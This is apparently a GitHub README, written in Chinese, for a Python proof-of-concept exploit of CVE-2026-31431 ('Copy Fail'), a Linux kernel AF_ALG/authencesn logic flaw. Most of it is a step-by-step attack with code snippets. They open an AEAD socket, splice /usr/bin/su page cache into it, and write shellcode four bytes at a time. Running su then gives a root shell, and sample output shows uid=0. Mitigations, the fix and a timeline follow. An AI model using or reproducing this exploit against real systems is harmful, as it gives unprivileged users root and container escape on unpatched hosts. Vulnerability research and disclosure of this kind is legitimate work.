julichaan/CVE-2026-31431-python-copyfail-POC
GitHub: julichaan/CVE-2026-31431-python-copyfail-POC
针对 CVE-2026-31431 Linux 内核密码子系统逻辑漏洞的概念验证工具,通过破坏 setuid 二进制文件页缓存实现从无特权本地用户到 root 的确定性提权。
Stars: 0 | Forks: 0
# CVE-2026-31431: Copy Fail - Linux 内核权限提升
**Copy Fail** (CVE-2026-31431) 是 Linux 内核密码子系统中的一个严重逻辑漏洞,允许无特权用户将权限提升至 root。该漏洞影响 6.0.0 至 6.18.x 版本的 Linux 内核,波及所有主要发行版。
本仓库包含真实的漏洞利用程序,通过破坏 setuid 二进制文件的页缓存并以 root 权限执行任意代码来触发该漏洞。
## 什么是 Copy Fail?
Copy Fail 是一个**允许无特权用户将任意 4 字节数据块直接写入系统上任何可读文件的内核页缓存**的逻辑漏洞,包括 setuid 二进制文件。
主要特征:
- **确定性**:无需竞态条件或时间窗口
- **可移植性**:相同的利用程序适用于所有存在漏洞的发行版 (Ubuntu, RHEL, Amazon Linux, SUSE)
- **隐蔽性**:磁盘文件不会被修改;仅内存中的页缓存被破坏
- **容器化**:由于页缓存在宿主机之间共享,可突破容器边界
- **简单性**:仅需 Python 3.10+ 及标准库模块
## 技术细节
### 根本原因:原地 AEAD 操作
该漏洞源于 2017 年 `algif_aead.c` 中的一项优化(提交 72548b093ee3),该优化将 AEAD 操作从**非原地**改为**原地**:
**修改前(安全的 - 2015):**
```
TX Scatterlist (input) ← TX buffer (user data from file)
RX Scatterlist (output) ← RX buffer (user's output area)
Separate scatterlists = page cache pages are read-only
```
**修改后(存在漏洞的 - 2017):**
```
Combined Scatterlist:
[ RX buffer ] [ Page cache pages chained via sg_chain() ]
↑ ↑
req->src = src req->dst = dst (SAME scatterlist)
Page cache pages are now in a WRITABLE scatterlist!
```
合并后的 scatterlist 如下所示:
```
[AAD + Ciphertext from RX buffer] || [Tag from /usr/bin/su page cache]
↑
Boundary
(authencesn writes PAST this point)
```
### 触发机制:authencesn 算法的暂存写入
`authencesn` 算法是 IPsec 用于扩展序列号 (ESN) 的 AEAD 封装器。它执行 HMAC 计算,但需要重新排列 AAD(附加认证数据)中的字节。
在内核代码(`crypto/authenc.c`)中,解密期间:
```
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // read AAD bytes 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporary: overwrite dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← KEY LINE
// write 4 bytes at dst[assoclen+cryptlen]
```
**问题所在**:第三次写入发生在偏移量 `assoclen + cryptlen` 处。在存在漏洞的原地操作路径中:
- **正常情况**:此偏移量位于用户的 RX 缓冲区内(无害)
- **漏洞情况**:此偏移量**超出了用户的缓冲区,并落入了链式页缓存页面中**(危险)
内核将此位置视为“可消耗的暂存空间”,并在该处**永久地**写入数据。页缓存中该位置的原始字节将永久丢失。
### 攻击链
```
1. Attacker opens AF_ALG socket → binds to authencesn(hmac(sha256),cbc(aes))
(No privileges needed; AF_ALG is available to unprivileged users by default)
2. Attacker opens target file: /usr/bin/su (setuid-root binary)
3. Attacker uses splice() to deliver /usr/bin/su's page cache pages
into the AF_ALG socket as the "ciphertext" and "tag"
4. Attacker sends sendmsg() with AAD containing:
- Bytes 0-3: padding
- Bytes 4-7: seqno_lo = 4-byte value to write (controlled by attacker)
- Bytes 8+: padding
5. Attacker calls recvmsg() which triggers the AEAD decrypt operation
Inside authencesn's decrypt in kernel space:
a) Kernel reads AAD bytes 0-7
b) Kernel writes seqno_hi at dst[4..7] (temporary, then restored)
c) Kernel writes seqno_lo at dst[assoclen + cryptlen]
↓
THIS WRITE CROSSES FROM USER BUFFER INTO PAGE CACHE PAGES
↓
4-byte write to /usr/bin/su's page cache occurs HERE
d) Kernel computes HMAC (fails validation - ciphertext is fabricated)
e) recvmsg() returns error
BUT: The 4-byte write ALREADY PERSISTS in the page cache
6. Attacker repeats steps 2-5 for each 4-byte chunk of shellcode
7. Attacker executes /usr/bin/su
- Kernel loads the binary from PAGE CACHE (which now contains shellcode)
- Binary is setuid-root
- Shellcode executes with UID=0
- Attacker has root access
```
### 为什么能成功
| 方面 | 解释 |
|--------|-------------|
| **无崩溃** | 从内核角度来看操作正常完成 |
| **确定性** | 无竞态条件;同步且可靠 |
| **持久性** | 页缓存破坏甚至在 recvmsg() 错误后依然存在 |
| **隐蔽性** | 磁盘文件未被修改;标准完整性检测工具无法察觉 |
| **通用性** | 相同的代码适用于所有发行版;无需针对特定发行版的偏移量 |
| **可移植性** | 适用于 x86-64 和 ARM64 架构 |
## 漏洞利用:逐步说明
### 步骤 1:套接字设置
```
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Request socket for AEAD operations
```
创建绑定到 authencesn AEAD 模板的 AF_ALG 套接字。
### 步骤 2:打开目标二进制文件
```
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
```
打开将被破坏的 setuid 二进制文件。任何可读文件均可,但选择 setuid 二进制文件是为了实现权限提升。
### 步骤 3:创建用于 Splice 的管道
```
pipe_rd, pipe_wr = os.pipe()
```
创建一个管道,作为 `splice()` 操作的中介。管道缓冲区将保存对页缓存页面的引用。
### 步骤 4:将文件 Splice 到管道
```
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
```
使用 `splice()` 将 `cryptlen` 字节从 `/usr/bin/su` 起始于 `write_offset` 的数据传输到管道。
**为何重要**:`splice()` 在文件描述符之间传输数据**无需进行拷贝**。它传递的是**内核页缓存页面的直接引用**。这些页面会留在管道的内部缓冲区结构中。
### 步骤 5:构造 AEAD 参数
```
assoclen = 8 # AAD length: bytes 0-7
cryptlen = 32 # Ciphertext length (== HMAC-SHA256 output)
authsize = 32 # Tag length
write_offset = 0x2000 # Offset in /usr/bin/su to write to
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
```
AAD(附加认证数据)包含:
- 字节 0-3:填充数据
- **字节 4-7:要写入的 4 字节值** (seqno_lo) ← 由攻击者控制
- 其余:填充数据
authencesn 算法将在其暂存写入中使用此 AAD 的字节 4-7。
### 步骤 6:发送 AAD
```
req_sock.sendmsg([aad], [], socket.MSG_MORE)
```
将 AAD 发送到 AF_ALG 套接字。`MSG_MORE` 标志表示随后将发送密文/标签。
### 步骤 7:将密文+标签 Splice 到套接字
```
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
```
将页缓存页面从管道传输到 AF_ALG 套接字。现在内核的 scatterlist 包含:
```
Scatterlist chain:
[ AAD (from RX buffer) ] || [ Ciphertext (from RX buffer) ] → [ Tag (page cache pages) ]
↑
Still references
/usr/bin/su's pages
```
### 步骤 8:通过 recvmsg() 触发漏洞
```
try:
req_sock.recv(1024)
except OSError:
pass # Expected to fail with invalid HMAC
```
调用 `recvmsg()` 触发 AEAD 解密操作:
在内核空间的 authencesn 内部:
1. 内核读取 AAD 字节 0-7
2. 内核临时覆盖 AAD 字节 4-7 (seqno_hi)
3. **内核将 AAD 的字节 4-7 (seqno_lo) 写入 `dst[assoclen + cryptlen]`**
- 此偏移量为:在 scatterlist 中 8 + 32 = 40 字节处
- RX 缓冲区总共只有约 48 字节
- **在第 40 字节处的写入越界进入了链式页缓存页面**
4. 内核从临时位置恢复 AAD 字节 4-7
5. 内核对重新排列的数据计算 HMAC → 失败(伪造的密文)
6. 内核返回错误
7. **但在偏移量 40 处的 4 字节写入已经发生并将持续存在**
### 步骤 9:对每个 Shellcode 块重复操作
```
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
```
利用程序循环执行,将 shellcode 的 4 字节数据块写入 `/usr/bin/su` 页缓存中的连续偏移位置。
### 步骤 10:执行被破坏的二进制文件
```
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
```
执行 `/usr/bin/su`:
- 内核从**页缓存**加载二进制文件(带有 shellcode 的被破坏版本)
- Shellcode 位于已知偏移量处
- 二进制文件的 setuid 位仍然存在
- Shellcode 以 **UID=0** 执行
- 生成 Root shell
## 运行漏洞利用程序
### 前置条件
- **Linux 内核 6.0.0 - 6.18.x**(受漏洞影响的版本)
- **Python 3.10+**(用于支持 `os.splice()`)
- **AF_ALG 和 authencesn 模块**必须已加载:
lsmod | grep -E 'af_alg|algif_aead|authencesn'
- 系统的**本地用户访问权限**
- **/usr/bin/su** 必须为 setuid 且可读
### 执行
```
python3 exploit.py
```
**在存在漏洞的系统上的预期输出:**
```
[*] CVE-2026-31431 (Copy Fail) Linux Kernel Privilege Escalation
[*] Target: /usr/bin/su (setuid-root binary)
[*] Kernel version: 6.12.0-1007-aws
[+] Kernel 6.12.x is in vulnerable range (6.0 - 6.18)
[+] Found /usr/bin/su (setuid-root binary)
[+] Kernel vulnerability check: AF_ALG + splice + authencesn
[*] Beginning page cache corruption...
[*] Injecting 33 bytes of shellcode into /usr/bin/su
[+] Wrote chunk 0 at offset 0x2000
[+] Wrote chunk 1 at offset 0x2004
...
[+] Shellcode injection successful!
[*] Executing /usr/bin/su to trigger shellcode...
# id
uid=0(root) gid=1001(user) groups=1001(user)
```
## 缓解措施
### 立即处理(内核更新前)
**禁用 AF_ALG AEAD 支持:**
```
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
```
这可以在保持其他 AF_ALG 功能完好的同时,阻止漏洞利用程序访问 AF_ALG 的 AEAD 接口。
**卸载存在漏洞的模块:**
```
sudo rmmod algif_aead
sudo rmmod authencesn
```
**通过 seccomp 阻止创建 AF_ALG 套接字**(适用于容器化环境):
```
# 在容器安全策略中,拒绝 socket(38, SOCK_SEQPACKET) syscalls
```
### 长期方案(内核更新)
更新至包含修复(提交 a664bf3d603d)的 **Linux 6.19+** 版本。
该修复将 `algif_aead.c` 恢复为**非原地** AEAD 操作:
```
// Before (vulnerable in-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (input)
rsgl_src, // RX SGL (output) - SAME
used, ctx->iv);
// After (fixed out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (input)
rsgl_src, // RX SGL (output) - DIFFERENT
used, ctx->iv);
```
使用独立的源和目标 scatterlist 后:
- 输入:TX scatterlist(可能包含来自 splice 的页缓存页面)
- 输出:RX scatterlist(用户缓冲区)
- 页缓存页面永远不会出现在可写入的目标中
- authencesn 的暂存写入将保留在用户缓冲区内(无害)
## 漏洞时间线
| 日期 | 事件 |
|------|-------|
| 2017-Q3 | 漏洞被引入 algif_aead.c(提交 72548b093ee3) |
| 2026-03-23 | 报告给 Linux 内核安全团队 |
| 2026-03-24 | 内核团队确认漏洞 |
| 2026-03-25 | 提出补丁并进行审查 |
| 2026-04-01 | 补丁合并至主线内核(提交 a664bf3d603d) |
| 2026-04-22 | 分配 CVE-2026-31431 |
| 2026-04-29 | 公开披露 |
## 受影响版本
| 系列 | 状态 | 详情 |
|--------|--------|---------|
| Linux 5.x | ✅ 安全 | 早于漏洞引入的版本 |
| Linux 6.0 - 6.18 | ❌ **存在漏洞** | 所有次要版本均受影响 |
| Linux 6.19+ | ✅ 安全 | 包含修复(提交 a664bf3d603d) |
| Linux 7.0+ | ✅ 安全 | 修复合并后的版本 |
## 为什么此漏洞非常重要
1. **跨发行版**:相同的攻击适用于 Ubuntu, RHEL, Amazon Linux, SUSE
2. **无需特权**:本地无特权用户 -> root
3. **容器逃逸**:共享页缓存意味着可能发生 Pod 到宿主机的入侵
4. **Kubernetes 影响**:Kubernetes 集群中的节点逃逸向量
5. **逻辑漏洞**:不是差一错误或缓冲区溢出;纯粹的逻辑缺陷
6. **隐蔽性**:无系统崩溃,无日志,磁盘文件未被修改
7. **可靠性**:无需争夺时间窗口或竞态条件
## 参考
- **Xint Research 披露**:https://xint.io/blog/copy-fail-linux-distributions
- **内核修复提交**:https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
- **引入漏洞的提交**:https://github.com/torvalds/linux/commit/72548b093ee3
- **CVE 详情**:CVE-2026-31431
- **研究团队**:Xint Code / Theori
## 免责声明
本漏洞利用程序仅用于**教育和授权安全测试目的**。未经授权访问计算机系统是违法行为。在测试漏洞前,请务必获取适当的授权。
标签:AEAD, algif_aead, Copy Fail, CVE-2026-31431, Exploit, Linux内核提权, Page Cache, Python, RHEL, setuid, Web报告查看器, 任意代码执行, 内存损坏, 内核漏洞, 容器逃逸, 密码学子系统, 数据展示, 无后门, 本地提权, 红队, 网络安全, 逻辑漏洞, 隐私保护, 页面缓存污染, 高危漏洞